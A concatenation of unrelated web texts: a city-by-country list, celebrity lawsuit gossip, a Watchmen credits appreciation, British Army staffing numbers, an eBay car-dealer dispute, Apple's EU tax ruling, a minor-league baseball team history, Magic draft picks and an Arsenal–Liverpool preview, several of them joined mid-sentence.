Slovenia: Bled, Bohinj, Bovec, Kranjska Gora, Ljubljana, Maribor, Piran, Portorož, Rogaška Slatina, etc.
Solomon Islands: Honiara, etc.
Somalia: Mogadishu, etc.
Somaliland: Hargeisa, etc.
South Africa: Ballito, Benoni, Bloemfontein, Boksburg, Cape Town, Drakensberg, Durban, East London, George, Johannesburg, Kempton Park, Kimberley, Knysna, Kruger National Park, Marloth Park, Mossel Bay, Nelspruit, Pietermaritzburg, Plettenberg Bay, Polokwane, Port Elizabeth, Potchefstroom, Pretoria, Rustenburg, Sandton, Stellenbosch, Umhlanga, etc.
South Korea: Busan, Cheongju, Daegu, Daejeon, Gangneung, Gapyeong, Gwangju, Gwangyang, Gyeongju, Incheon, Jejudo, Jeonju, Pyeongchang, Seogwipo, Seoul, Sokcho, Suwon, Ulsan, Yangyang, Yeosu, etc.
Spain: A Coruña, Alcúdia, Algeciras, Alicante, Almería, Altea, Andalusia, Antequera, Aragon, Asturias, Ayamonte, Baiona, Balearic Islands, Barbate, Barcelona, Basque Country, Benalmádena, Benidorm, Benissa, Besalú, Bilbao, Blanes, Buñol, Cadaqués, Cala d'Or, Calella, Calonge, Calp, Calvià, Cambados, Cambrils, Canary Islands, Cangas de Onís, Cantabria, Cartagena, Castilla-La Mancha, Catalonia, Chiclana de la Frontera, Costa Blanca, Costa Brava, Costa Dorada, Costa del Maresme, Costa del Sol, Cádiz, Córdoba, Dénia, El Puerto de Santa María, Empuriabrava, Estepona, Figueres, Formentera, Fuerteventura, Galicia, Gijón, Girona, Gran Canaria, Granada, Ibiza, Jerez de la Frontera, L'Escala, L'Estartit, L'Hospitalet de Llobregat, La Pineda, Lanzarote, Las Palmas, Llançà, Lleida, Lloret de Mar, Madrid, Magaluf, Malgrat de Mar, Mallorca, Marbella, Maspalomas, Menorca, Mijas, Mojácar, Moraira, Murcia, Málaga, Navarre, Nerja, O Grove, Ourense, Oviedo, Palma Nova, Palma de Mallorca, Pals, Poio, Pollença, Pontevedra, PortAventura, Portonovo, Ronda, Roquetas de Mar, Roses, Salamanca, Salou, San Sebastian, Sant Antoni de Portmany, Santander, Santiago de Compostela, Santillana del Mar, Sanxenxo, Seville, Sidges, Sierra Nevada, Tarifa, Tarragona, Tenerife, Toledo, Torremolinos, Torrevieja, Torroella de Montgrí, Tossa de Mar, Valencia, Vigo, Vélez-Málaga, Xàbia, Zaragoza, etc.
Sri Lanka: Anuradhapura, Bentota, Beruwala, Colombo, Dambulla, Galle, Hikkaduwa, Jaffna, Kandy, Mirissa, Negombo, Nuwara Eliya, Sigiriya, Tangalle, Trincomalee, Unawatuna, Weligama, etc.
Sudan: Khartoum, Port Sudan, etc.
Suriname: Lelydorp, Nieuw Nickerie, Paramaribo, etc.
Swaziland: Lobamba, Mbabane, etc.
Sweden: Bohuslän, Borgholm, Borlänge, Borås, Dalarna, Eskilstuna, Falkenberg, Falun, Gothenburg, Gotland, Gävle, Halmstad, Helsingborg, Jönköping, Kalmar, Karlshamn, Karlskrona, Karlstad, Kiruna, Kristianstad, Lidingö, Linköping, Luleå, Lund, Malmö, Norrköping, Oskarshamn, Simrishamn, Solna, Stenungsund, Stockholm, Sundsvall, Södertälje, Trollhättan, Täby, Uddevalla, Umeå, Uppsala, Vimmerby, Visby, Västervik, Västerås, Växjö, Ystad, Ängelholm, Åre, Öland, Örebro, Östersund, etc.
Switzerland: Adelboden, Andermatt, Anzère, Arosa, Ascona, Basel, Bellinzona, Bern, Bettmeralp, Celerina, Château-d'Œx, Crans-Montana, Davos, Engadin, Engelberg, Falera, Flims, Fribourg, Geneva, Grindelwald, Gryon, Grächen, Gstaad, Haute-Nendaz, Interlaken, Jungfrau, Klosters, Laax, Lake Maggiore, Lausanne, Lauterbrunnen, Lenzerheide, Les Diablerets, Leukerbad, Leysin, Locarno, Lucerne, Lugano, Matterhorn, Meiringen, Montreux, Nendaz, Neuchâtel, Pontresina, Portes du Soleil, Riederalp, Saanen, Saas-Fee, Samnaun, Scuol, Sierre, Silvaplana, Sion, St. Gallen, St. Moritz, Swiss Alps, Ticino, Valais, Valbella, Verbier, Vevey, Veysonnaz, Villars-sur-Ollon, Vitznau, Wengen, Zermatt, Zug, Zürich, etc.
Syria: Aleppo, Damascus, Deir ez-Zor, Latakia, Palmyra, Tartus, etc.
Taiwan: Hsinchu, Kaohsiung, Taichung, Tainan, Taipei, etc.
Tajikistan: Dushanbe, Isfara, Khujand, etc.
Tanzania: Dar es Salaam, Mount Kilimanjaro, Serengeti, Zanzibar, etc.
Thailand: Ayutthaya, Bangkok, Cha-Am, Chiang Mai, Chiang Rai, Chonburi, Hua Hin, Kanchanaburi, Karon, Khao Sok, Ko Chang, Ko Lanta, Ko Phangan, Ko Samui, Krabi, Pai, Patong, Pattaya, Phi Phi Islands, Phuket, Prachuap Khiri Khan, Ranong, River Kwai, Udon Thani, etc.
Togo: Lomé, etc.
Tonga: Nukuʻalofa, Tunis, etc.
Trinidad and Tobago: Port of Spain, etc.
Tunisia: Djerba, Hammamet, Midoun, Monastir, Port El Kantaoui, Sousse, etc.
Turkey: Adana, Afyonkarahisar, Akyaka, Alacati, Alanya, Ankara, Antakya, Antalya, Assos, Avanos, Ayvalık, Beldibi, Belek, Bodrum, Bozcaada, Bursa, Büyükada, Cappadocia, Dalyan, Datça, Denizli, Didim, Edirne, Ephesus, Erzincan, Erzurum, Eskişehir, Fethiye, Gaziantep, Gebze, Göcek, Göreme, Göynük, Hierapolis, Istanbul, Kalkan, Kayseri, Kaş, Kemer, Konakli, Konya, Kuşadası, Kütahya, Lara, Mahmutlar, Manavgat, Manisa, Marmaris, Mersin, Muğla, Nevşehir, Olympos, Palandöken, Pamukkale, Prince Islands, Samsun, Sapanca, Sarigerme, Sarıkamış, Selimiye, Selçuk, Side, Tarsus, Tekirova, Trabzon, Troy, Turgutlu, Turgutreis, Turkish Riviera, Uludağ, Uçhisar, Uçhisar, Van, Yalova, Yalıkavak, Çamyuva, Çanakkale, Çeşme, Çıralı, Ölüdeniz, Ürgüp, İskenderun, İzmir, İzmit, İçmeler, Şanlıurfa, etc.
Turkmenistan: Ashgabat, Avaza, etc.
Turks and Caicos Islands: Cockburn Town, North Caicos, Pine Cay, Providenciales, etc.
Tuvalu: Funafuti, etc.
Uganda: Kampala, etc.
Ukraine: Berdiansk, Berehove, Bila Tserkva, Boryspil, Bukovel, Cherkasy, Chernihiv, Chernivtsi, Dnipropetrovsk, Donetsk, Horishni Plavni, Ivano-Frankivsk, Kamianets-Podilskyi, Kharkiv, Kherson, Khmelnytskyi, Kiev, Koblevo, Kremenchuk, Kropyvnytskyi, Kryvyi Rih, Luhansk, Lutsk, Lviv, Mariupol, Melitopol, Mukachevo, Mykolaiv, Odessa, Poltava, Polyana, Rivne, Skhidnytsia, Slavske, Sumy, Ternopil, Truskavets, Uzhgorod, Vinnytsia, Yaremche, Yasinya, Zaporizhia, Zatoka, Zhytomyr, etc.
United Arab Emirates: Abu Dhabi, Ajman, Al Ain, Dibba, Dubai, Fujairah, Palm Jumeirah, Persian Gulf, Ras Al Khaimah, Sharjah, Sir Bani Yas Island, Umm al-Quwain, etc.
United Kingdom: Aberdeen, Bath, Belfast, Blackpool, Bournemouth, Bradford, Brighton, Bristol, Brixham, Cambridge, Canterbury, Cardiff, Channel Tunnel, Cheltenham, Chester, Cornwall, Coventry, Cumbria, Derry, Devon, Dorset, Dover, Eastbourne, Edinburgh, England, English Channel, Exeter, Folkestone, Fort William, Gatwick, Glasgow, Hampshire, Harrogate, Heathrow, Inverness, Isle of Wight, Kent, Lancashire, Leeds, Leicester, Liverpool, Llandudno, London, Manchester, Mansfield, Milton Keynes, Newcastle, Newquay, Northern Ireland, Norwich, Nottingham, Oban, Oxford, Paignton, Plymouth, Portmeirion, Portsmouth, Reading, Sandown, Scarborough, Scotland, Shanklin, Sheffield, Somerset, Southampton, St Albans, Stoke-on-Trent, Stonehenge, Sussex, Swansea, Torquay, Wales, Whitby, Windsor, Woking, York, etc.
United States: Akron, Alabama, Alaska, Albany, Albuquerque, Amarillo, Anaheim, Anchorage, Ann Arbor, Arizona, Arkansas, Arlington, Aspen, Atlanta, Aurora, Austin, Bakersfield, Baltimore, Baton Rouge, Beaver Creek, Berkeley, Big Bear Lake, Billings, Biloxi, Birmingham, Boca Raton, Boise, Boston, Breckenridge, Brooklyn, Buena Park, Buffalo, California, Carlsbad, Carmel-by-the-Sea, Chandler, Charlotte, Chesapeake, Cheyenne, Chicago, Chula Vista, Cincinnati, Clearwater, Cleveland, Colorado Springs, Colorado, Columbus Georgia, Columbus, Connecticut, Corpus Christi, Costa Mesa, Cupertino, Dallas, Dana Point, Daytona Beach, Death Valley, Delaware, Delray Beach, Denver, Des Moines, Destin, Detroit, Durham, El Paso, Estes Park, Fargo, Fayetteville, Florida, Fontana, Fort Lauderdale, Fort Myers, Fort Walton Beach, Fort Wayne, Fort Worth, Fremont, Fresno, Galveston, Garland, Georgia, Gilbert, Glendale, Grand Canyon, Grand Rapids, Grand Teton, Great Smoky Mountains, Greensboro, Gulfport, Hawaii, Henderson, Hialeah, Hollywood, Honolulu, Hot Springs, Houston, Huntington Beach, Idaho, Illinois, Indiana, Indianapolis, Iowa, Irving, Jackson Mississippi, Jackson Wyoming, Jacksonville, Jersey City, Juneau, Kansas City, Kansas, Kentucky, Key Largo, Key West, La Jolla, La Quinta, Laguna Beach, Lahaina, Lake Tahoe, Laredo, Las Vegas, Lexington, Lincoln, Little Rock, Long Beach, Los Angeles, Louisiana, Louisville, Lubbock, Madison, Maine, Malibu, Mammoth Lakes, Manhattan, Marathon, Maryland, Massachusetts, Memphis, Menlo Park, Mesa, Mexico City, Miami Beach, Miami, Michigan, Milwaukee, Minneapolis, Minnesota, Mississippi, Missouri, Moab, Modesto, Montana, Monterey, Montgomery, Moreno Valley, Mount St. Helens, Mountain View, Myrtle Beach, Napa, Naples, Nashville, Nebraska, Nevada, New Hampshire, New Jersey, New Mexico, New Orleans, New York City, New York, Newark, Newport Beach, Newport, Norfolk, North Carolina, North Dakota, North Las Vegas, Oakland, Ocean City, Oceanside, Ohio, Oklahoma City, Oklahoma, Omaha, Oregon, Orlando, Oxnard, Palm Coast, Palm Desert, Palm Springs, Palo Alto, Panama City Beach, Park City, Pasadena, Paso Robles, Pennsylvania, Pensacola, Philadelphia, Phoenix, Pittsburgh, Plano, Pompano Beach, Portland, Portland, Providence, Raleigh, Redwood City, Reno, Rhode Island, Richmond, Riverside, Rochester, Rocky Mountains, Sacramento, Saint Paul, Salt Lake City, San Antonio, San Bernardino, San Diego, San Francisco, San Jose, San Mateo, Sanibel, Santa Ana, Santa Barbara, Santa Cruz, Santa Fe, Santa Monica, Santa Rosa, Sarasota, Savannah, Scottsdale, Seattle, Shreveport, Silicon Valley, South Carolina, South Dakota, South Lake Tahoe, Spokane, Springfield, Squaw Valley, St. Augustine, St. Louis, St. Petersburg, Steamboat Springs, Stockton, Sunny Isles Beach, Sunnyvale, Syracuse, Tacoma, Tallahassee, Tampa, Telluride, Tennessee, Texas, Thousand Oaks, Toledo, Tucson, Tulsa, Utah, Vail, Vermont, Virginia Beach, Virginia, Waikiki, Walnut Creek, Washington D.C., Washington, West Palm Beach, West Virginia, Wichita, Winston-Salem, Wisconsin, Wyoming, Yellowstone, Yonkers, Yosemite, Zion, etc.
Uruguay: Colonia del Sacramento, La Barra, La Paloma, Maldonado, Montevideo, Piriápolis, Punta del Este, Salto, etc.
Uzbekistan: Bukhara, Fergana, Khiva, Kokand, Navoiy, Samarkand, Tashkent, Urgench, etc.
Vanuatu: Port Vila, etc.
Vatican:, etc.
Venezuela: Caracas, Isla Margarita, Maracaibo, Porlamar, etc.
Vietnam: Cát Bà Island, Cần Thơ, Da Lat, Da Nang, Haiphong, Hanoi, Ho Chi Minh City, Huế, Hạ Long, Hội An, Long Hải, Mỹ Tho, Nha Trang, Ninh Bình, Phan Thiết, Phú Quốc, Qui Nhơn, Rạch Giá, Sa Pa, Tuần Châu, Vũng Tàu, Đồng Hới, etc.
Yemen: Aden, Sana'a, etc.
Zambia: Livingstone, Lusaka, etc.
Zimbabwe: Bulawayo, Harare, Mutare, Victoria Falls, etc.Apparently Kanye West and Drake have both been sued for stealing songs. Kanye West was accused for stealing the song Stronger. Vincent Peters, a rapper from Virginia, claims he sent his version of the song to Kanye West’s manager, John Monopoly. Peters was hoping that Monopoly would produce the track for him. Peters claims that Kanye’s version stole many of the lyrics from his track. Peters never got the deal with Monopoly but several months after he sent Monopoly the song, it came out on Kanye’s album.The lawsuit against West asks that:
“West and the record labels be prohibited from selling, distributing or performing the allegedly copyrighted song, and that they destroy all copies they have of the single.”
The chances of this happening are obviously slim and I’m assuming it will just be settled out of court, that’s how these things usually work.
In Drake’s case, he is being sued by Playboy. They are suing him for copyright infringement in regards to his song Best I Ever Had. Playboy says that the song Drake samples at the start is the song “Fallin’ In Love,” by Hamilton, Joe Frank and Dennison/Reynolds. They say that Drake should have known that the song was protected by copyright.
Like in the Kanye lawsuit, Playboy wants Drake to stop selling/distributing the song and to stop profiting from it. Once again, this probably won’t happen.
Either way it’ll be interesting to see how this all plays out.Zack Snyder has become a somewhat polarizing figure in comic movies of late. He has been the director of 300, Watchmen, Sucker Punch, Man of Steel, Batman v Superman: Dawn of Justice and the upcoming Justice League film. He has been the main architect of the DCEU since it was handed to him from Christopher Nolan. He is also an executive producer and has story by credit on Wonder Woman film. His movies make money, but tend to be derided by fans and critics for being too dark or not understand the characters. Snyder has recently stepped away from directing reshoots on Justice League due to a family tragedy and director Joss Whedon has stepped in.
Now I’m not someone who hated BvS or Man of Steel. I definitely think they could’ve been better and can see the points that people complain about. But I think a lot of the negativity towards Snyder is based on his interpretation of the characters and their motivations and how that is portrayed in the film. These often differ greatly from what we’ve seen in the comics over the years. But when you look at Snyder’s craft as a director, he is very talented and uses the latest technologies as well as anyone in the industry.
Yesterday, Legendary released a youtube video of the opening credits for his 2009 film Watchmen. It’s been years since I sat down and watched it, but recently I’d done a table read of the Sam Hamm script so the characters were in my mind. I clicked on the video and realized just how much story Snyder was able to pack into the credits. They’re just over five minutes long and are set to the tune of Bob Dylan’s The Times They Are A Changing from 1964, and in that five minutes we are shown everything we need to know about the original Watchmen group, how they were heroes but they were brought down through a variety of issues or prejudices.
But the interesting thing here is the use of photographs and televisions as framing devices. I occasionally teach classes on comic writing, and one of the things I use to try and convey the major difference between comic scripting and screenwriting is the idea of trying to tell a movie in still shots or photographs. How do you get the important parts into a single image and what you can leave for the readers imagination. That is the approach Snyder uses in these credits. We see decades of American history through quick little photo set ups. Yet we know the history of the golden age Watchmen and the set up for the new ones. Information that is not crucial to the story but adds to the universe that Snyder is bringing us into. Information that Alan Moore felt was needed when he and Dave Gibbons did the original comics.
So, in the midst of all this negativity towards Zack Snyder, I wanted to point out five minutes of really strong film work.
https://youtu.be/ichtdL7Lap8
About Dan Wickline Has quietly been working at Bleeding Cool for over three years. He has written comics for Image, Top Cow, Shadowline, Avatar, IDW, Dynamite, Moonstone, Humanoids and Zenescope. He is the author of the Lucius Fogg series of novels and a published photographer.
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None foundThere are almost 1,000 more trained officers on the Army payroll than the force needs to do its work.
But among the ranks, there is a shortfall of 4,400 - the equivalent of around seven infantry battalions.
Ministry of Defence manning figures showed that there are 14,370 trained officers in the Army, a surplus of 910 over the force's "requirement strength" of 13,460.
By contrast, there are 83,920 "other ranks," a shortfall of 4,400 on the total requirement of 88,320.
Overall, the Army is 3,500 personnel short of its full needs. The three Armed Forces have a combined deficit of 5,790.
The MoD data confirmed that the size of Britain's military forces is continuing to fall even as they conduct two intensive operations in Iraq and Afghanistan.
At the start of last month, the Armed Forces had 173,370 full-time trained personnel, a fall of nearly |
: My Kidlet is of course the best child on earth, but possibly part titan, as at age three, she is in five year old clothing.
PPS: My foot scar is awesome. Even the stitching area on it scarred because I developed oedema while it was healing so it looks like a crazy centipede curling up my foot.
Note: Thankyou for the reception. If you had questions about this post, they may have been answered here: Questions about that birth post answeredI talk to the front desk secretary, ask her how to make my deposit for an Internet Sales deal I have, and she immediately transfers me to Eric Manley. I talk to Eric briefly and he laughs at me over the phone, "Sorry buddy but you're not getting it for that price, he says." I tell him it's a deal that I have worked out with the Internet Sales guy, and I'm ready to make the deposit. He laughs at me again, and says, "sorry buddy, not for that price." It's obvious that this guy knows nothing about it, but it's odd that he won't let me make my deposit. He's clearly either confused or not the right guy.
Tad tells me that he's the one that made the deal (listed the ebay auction), and there is no way I'm getting it for that price, and that he doesn't care about the Legal Binding Contract that they have (the ebay auction), I'm not getting the deal.
We argue back and forth for a while. He offers a Christmas card, and then a Turkey [sic] for compensation, while I tell him that I have a "Legal Binding Contract" from them and that I'm not going away until I get my car or some compensation for this headache that they've put me through." He then says, that "Sorry, car has already been sold, so you can't have it it's gone."
...He says "we're going around in circles, you're not getting the car that I don't have here to sell you, and definitely not for that price. You've had a few people hang up on you already, why continue this. Didn't I tell you I was the owner." All lies of course, as I tell him "No you told me that you were Tad, not Cy Dicken, and everyone has been real nice so far, no ones hung up on me."
File this one under the dangers of mixing traditional Brick & Mortar business practices with the immediacy and transparency of the internet. Glenn Hyundai of Lexington, Kentucky placed a slightly used Hyundai Genesis Coupe 2.0T on eBay Motors. There was no reserve, and a gencoupe.com forum member named McFly made a bid of $16,125 and won the auction (here's a PDF of the auction in case the eBay link goes dead).Not a bad price, especially as the Gen Coupe in question had less than 5,000 miles on it and costs over $22,000 when new. McFly then secures financing from his bank to pay for the Coupe, makes the necessary travel arrangements to go pick up his car (he doesn't live in Kentucky) and calls the dealer to put down a deposit with his credit card. This is when things begin to go bad. We'll let McFly take it from here: Make the jump for the rest.Youch - and you know there's a Hyundai Assurance joke in there somewhere. No one wants to be laughed at, especially when you won the car in question fairly and in a legal manner on an eBay auction. McFly doesn't give up, and eventually finds out that the owner's name is Cy Dicken. He gets in touch with a guy named Tad, who called McFly supposedly to take his credit card info. It turns out that Tad is the person who placed the Genesis Coupe on eBay in the first place. More from McFly:Ooof... It goes on and on like this – long story short, McFly didn't get the car at that price. We saw a similar case a while back when a Nebraska BMW dealer refused to honor an auction for a $60,000 M3. Due to pressure, they eventually caved in and agreed to let the car go for the price they sold it for. Still, you've got to wonder if the few thousand dollars both of these dealers feel they deserve is worth the headaches and bad press.We contacted Glenn Hyundai to get their side of the story, but were passed around before ultimately being hung up on. We then contacted Hyundai USA, who told us, "We expect our dealers to contract in good faith with customers. We do not know the details of this transaction. But we hope the dealer and customer in question can come to a mutually beneficial agreement." We'll keep you posted if McFly's situation changes.Jalopnik.com reportedly spoke to Internet Manager Eric Manley, who said, "I don't know what the kid's problem is other than he's a little psycho." He's also threatening to sue the buyer because of "slander" and claims he "lost his mind.'From McFly: "Glenn Hyundai's lawyer called me (about 1 hr ago). He says that there have been numerous calls to the dealership today, and that I need to stop. I told him that I hadn't called since December (it was actually on 12/18/09 when I talked to Elizabeth McKinley about the last and final purchase order, which stated 'Not ebay internet price'). He said he found the information I posted on the internet, and to stop contacting the local news (which I haven't contacted, maybe someone else did, I don't know). He also asked that I take off all the information from the internet. If I don't comply that the dealership and he will take legal action. He asked me for my address so that he could send a formal letter requesting these things. He has my address, 'it's on the purchase order they faxed me,' I told him."More from McFly: "Good news, Glenn Hyundai and I have come to an agreement. I am now taking the next step, and changing every one of my posts to reflect that 'This was a misunderstanding and we have come to an agreement.'I'll give the details of the agreement once everything has been finalized.Thanks so much for all the help that you've all given me."No word on what the "agreement" is, nor what the "misunderstanding" consisted of. That said, all of McFly's posts have been changed to read, "This was a misunderstanding and we have come to an agreement."If you're still calling the dealership to voice your opinion, please stop. There are reports that McFly could be in danger of losing the deal if calls to the dealership continue.[Source: gencoupe.comApple Owes Ireland $14.5 Billion In Taxes, European Commission Says
Enlarge this image toggle caption Virginia Mayo/AP Virginia Mayo/AP
The European Union's executive branch has found that Ireland granted unfair and illegal tax breaks to the tech giant Apple, and ruled that Apple now owes more than $14.5 billion in back taxes.
The commissioner in charge of competition policy, Margrethe Vestager, says that under EU rules, "Member states cannot give tax benefits to selected companies."
But the European Commission found that Ireland allowed Apple — which has two companies incorporated in Ireland, Apple Sales International and Apple Operations Europe — to pay far less in taxes than other companies did.
On top of that, the commission says, Apple chose to record all sales in the EU as sales in Ireland, allowing that low rate to apply to all sales in the entire EU single market.
In 2003, Apple paid Ireland an effective tax rate of 1 percent on European profits, the commission says. By 2014, that had dropped to 0.005 percent.
The country's corporate tax rate, in general, is 12.5 percent, Reuters reports.
The EU says the illegal tax breaks began in 1991. But it can order recovery only of "illegal state aid" — which is what the EU considers those tax breaks to be — from 2003 to 2014.
The commission says Ireland must now collect 13 billion euros (some $14.5 billion), plus interest, from Apple. The final tax bill could be lower if Apple decides to pay taxes to other countries, or funnel more of its profit to its U.S. companies.
Ireland's finance minister, Michael Noonan, says in a statement that he "profoundly" disagrees with the decision and plans to appeal.
Apple also promises an appeal. Reuters reports that in a statement, the company describes the ruling as "an effort to rewrite Apple's history in Europe, ignore Ireland's tax laws and upend the international tax system in the process."
The tech giant says the decision "will have a profound and harmful effect on investment and job creation in Europe."
Apple is not the only business facing a hefty tax bill after EU regulators scrutinized member country policies.
Starbucks has been ordered to pay up to 30 million euros ($33.5 million) to the Netherlands, and McDonald's and Amazon are both waiting for decisions about deals they struck with Luxembourg.Minor League Baseball team
The Montgomery Biscuits are a Minor League Baseball team based in Montgomery, Alabama. The team is the Double-A affiliate of the Tampa Bay Rays and plays in the Southern League. The team was founded in Orlando, Florida, in 1973 as the Orlando Twins, an affiliate of the Minnesota Twins. After remaining in the Minnesota minor league organization for 20 seasons, the team became an affiliate of the Chicago Cubs for four seasons and then the Seattle Mariners for one. In 1999, the team became an affiliate of the Tampa Bay Rays, and they have remained in the organization ever since.
Over the years, the club changed names several times. They were the Orlando Twins for 17 seasons, then were known as the SunRays, Cubs, and Rays. The club became known as the Biscuits when it moved from the Orlando area to Montgomery in 2004.
The club played at Tinker Field near downtown Orlando from 1973 until 2000, when they moved to Champion Stadium in nearby Lake Buena Vista, Florida. Since moving to Montgomery in 2004, the Biscuits have played at Montgomery Riverwalk Stadium, a 7,000-seat facility which was built for the club in the downtown area.
Franchise history [ edit ]
Orlando [ edit ]
Orlando Rays logo from 2003
The franchise joined the Southern League in 1973 as the Orlando Twins, a minor-league affiliate of the Minnesota Twins, which held spring training in Orlando, Florida at the time. The Orlando Twins played at Tinker Field in downtown Orlando, near the Florida Citrus Bowl Stadium. In 1990, the team was renamed the Orlando Sun Rays. In 1993, the Chicago Cubs became the team's new major-league affiliate, and the team was renamed the Orlando Cubs. While still a Chicago Cubs affiliate, the team renamed itself again in 1997 and became the Orlando Rays. The following year, for one season only, the Seattle Mariners were the Rays' major-league affiliate. The Tampa Bay Devil Rays, an American League expansion team in 1998, assumed the Orlando Rays' major-league affiliation the following year.
The Orlando Rays' last season at Tinker Field was 1999. From 2000 to 2003, the Orlando Rays played in Lake Buena Vista, Florida, in Champion Stadium at Walt Disney World Resort. Despite the fact that the team played in a state-of-the-art stadium that was built in 1997 and used during spring training by the Atlanta Braves, attendance did not meet expectations; after trailing the Southern League in attendance in multiple years, the Rays' owners announced the team would move to Montgomery in 2004 (terminating their 10-year lease with Disney after four seasons).[3]
While in Orlando, the franchise won three Southern League championships: in 1981 (as the Twins), 1991 (as the Sun Rays), and 1999 (as the Rays).
Montgomery [ edit ]
The Biscuits became Montgomery's first Major League Baseball-affiliated team since 1980, when the Montgomery Rebels, a Detroit Tigers affiliate, played their final season in the Southern League at Montgomery's Paterson Field. The Biscuits' owners, Sherrie Myers and Tom Dickson, were selected from six different ownership groups during an extensive search for a public-private partner by the City of Montgomery. Myers and Dickson selected the team's nickname from over 4,000 entries in a "name the team" contest, due in part to tying into indigenous affiliation and potential marketing and pun possibilities (for example, "Hey, Butter, Butter, Butter" or the team's souvenir store, the "Biscuit Basket"). Several successful minor league teams have campy, quirky names to relate to families and kids. During games, biscuits are shot from an air cannon, into the stands. The official team colors are Butter and Blue.
On September 15, 2006, in just their third year of existence, the Biscuits defeated the Huntsville Stars to win the team's first Southern League championship in Montgomery. One year later, in 2007, the Biscuits again defeated the Huntsville Stars to win their second consecutive Southern League championship. They became the first team since the 1975 to 1977 Montgomery Rebels to win back-to-back championships.
The Biscuits were sold to a group of investors led by Richmond Flying Squirrels owner Lou DiBella in a transaction that closed on April 27, 2017.[1]
Mascot [ edit ]
Their mascots are "Big Mo", an orange beast that loves biscuits,[4] and "Monty", an anthropomorphized buttermilk biscuit. Monty appears in the logo and on the hat. The mascot for the Orlando Rays was "Spike", a bear.[5] The origin of Spike is unknown but presumed to predate the Devil Rays, as the club has been controlled by the Cubs and by the Twins (who have a bear mascot, T.C. Bear).
In 2014, a new live mascot was introduced and also named with a contest in which 4,800 entires submitted ideas for a micro-mini pot belly pig which became Miss Gravy, Duchess of Pork.
Notable alumni [ edit ]
Major League Baseball players who played for the Biscuits (or earlier incarnations) include:
Roster [ edit ]
Television and radio [ edit ]
All Montgomery Biscuits games are televised live on MiLB.TV and select games are also televised live on WSFA. WMSP 740 AM provides radio broadcasts of games. Since 2016, the Biscuits play-by-play commentator is Chris Adams-Wall.Hi everyone! Pro Tour Dragons of Tarkir is over, and it’s time to move this series along from Pack 1 Pick 1 to Pack 1 Pick 2. I’ll start by letting you know what we’ve taken first pick and then give an explanation of what I would pick out of the next pack, given that context. I know some of the readers tend to like the first picks better, and others prefer when the articles start moving toward later picks with more context, so hopefully I can do enough of each to make everyone happy.
Scenario 1
First pick:
The pack:
My pick: Draconic Roar.
While I think black is a slightly better color than red in Dragons of Tarkir Limited, I think Draconic Roar is a little bit better than Flatten. In addition, after Draconic Roar there are several good black cards in the pack: Flatten, Silumgar Butcher, and Vulturous Aven. Maybe most importantly, Draconic Roar is actually the best card in the pack, and I’ve had a reasonable amount of success with white/red in the format. There’s not a single white card in the pack, so you don’t really have the option of staying on target even though it’s unclear if we’d even take that option against a card like Draconic Roar, but I would still hope to play white given how powerful our first-pick Hidden Dragonslayer is.
Scenario 2
First pick:
The pack:
My pick: Rending Volley.
This is certainly not where I want to be with my 2nd pick of a draft. That being said, this pack is really, really bad. There are very few cards that are even playable, and I’ve found that in Dragons of Tarkir draft getting to 23 playables isn’t a huge problem. The upside of Rending Volley is very high. In any matchup that you’re going to sideboard it in, it’s going to be one of the 4 or 5 best cards in your deck. It’s not quite as good as a card like Encase in Ice, because blue has a few looting effects that let you play it in your main deck. But when your next-best pick is a Herald of Dromoka that puts you into a 2nd color, I think the upside still makes it worth taking Rending Volley here.
Scenario 3
First pick:
The pack:
My pick: Ultimate Price
Well, this is basically a no-brainer. First-picking a black card and following it up with Ultimate Price is about the best start we could ever ask for. There really isn’t much to say about this pack, Ultimate Price is by far the best card, and on color. I’d take it and be exceptionally happy about my deck.
Scenario 4
Our first pick: Thunderbreak Regent.
Our pack:
My pick: Tail Slash.
Here’s a case where the difference in power level is made up for by staying on color. Flatten is certainly a better card than Tail Slash, but given that my first pick is an exceptionally powerful rare in Thunderbreak Regent, I’d definitely opt for the Tail Slash here. While it’s clear Flatten is a better card, Tail Slash is still a premium removal spell. I wouldn’t go so far as to take an average red card over Flatten, but Tail Slash is close enough in power that it is the comfortable pick.
Scenario 5
Our first pick:
Our pack:
My pick: Death Wind.
Here’s the alternate example. We have a first-pick bomb rare in Sunscorch Regent and the choice between a very good white card in Sandcrafter Mage and a premium black removal spell in Death Wind. In this instance the power disparity is just too high to pass the Death Wind. If Sunscorch Regent doesn’t make our deck, that will be unfortunate, and we should try to make sure that doesn’t happen, but not at the cost of passing a Death Wind for a Sandcrafter Mage.
I hope you all enjoyed the first set of pack 1 pick 2 for Dragons of Tarkir, and I’ll be back with more of them soon! As always, if you think I overlooked anything or strongly disagreed with any of the decisions, let me know in the comments.The new English Premier League season is almost under way and we are excited to see two giants of English football, Arsenal and Liverpool, clash with each other in the opening day fixture. Arsene Wenger led Arsenal and Jurgen Klopp inspired Liverpool will battle each other for three points in the Emirates Stadium on this Sunday afternoon, 4 pm BST, or 11 am EST.
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Match Preview
Arsenal Vs. Liverpool is one of the fixtures in the Premier League that hardly disappoints the fans in terms of seeing an exciting football. Both teams have managers who want to win, exhibiting an expansive brand of football.
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This summer both teams have bolstered themselves significantly by buying some exciting, big money signings. Arsenal have bought Granit Xhaka from German club Borrussia Monchengladbach for a fee around $40 million, and defender Rob Holding has also arrived from Bolton. Young Japanese striker Takuma Asano has also joined Arsenal, but many expect the 21-years-old to make loan move elsewhere in Europe. Although Arsenal fans are excited by the purchase these new players, there is a feeling of discontent among the Gooners due to club’s inability to buy a world-class center forward, who many believe can transcend Arsenal from a perennial top-four contenders to a champion.
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Speaking in routine press conference, as per the Evening standard, the Arsenal manager said, “Everybody’s ambitious – never has the Premier League been gifted with so many ambitious people or clubs at the start of the season.” “We have [Jose] Mourinho at Manchester United, [Antonio] Conte at Chelsea, [Pep] Guardiola at Man City, Klopp at Liverpool, so it’s a little bit a world championship of managers as well.”
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Liverpool, meanwhile, have many reasons to be excited for the new season. Manager Jurgen Klopp begins his first full season as Liverpool FC supremo.
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Klopp and his team have full preseason this time around unlike last season as he was brought into the club in the middle of last season after then manager Brendon Rodgers was sacked. Now with some experience and his ‘own’ team, strengthen by the signing of $45m Sadio Mane, Liverpool with be looking for none other than success this season.
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Liverpool Manager Jurgen Klopp who was humble about his team chances of title this season said, “I never in my life made a decision about the line-up one week before the game because experience teaches you that everything can happen.”
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“We will have 11 very good players on the pitch against Arsenal and we will have a very strong bench, I’m really sure. But at this moment I have no idea who is where.” the German added.
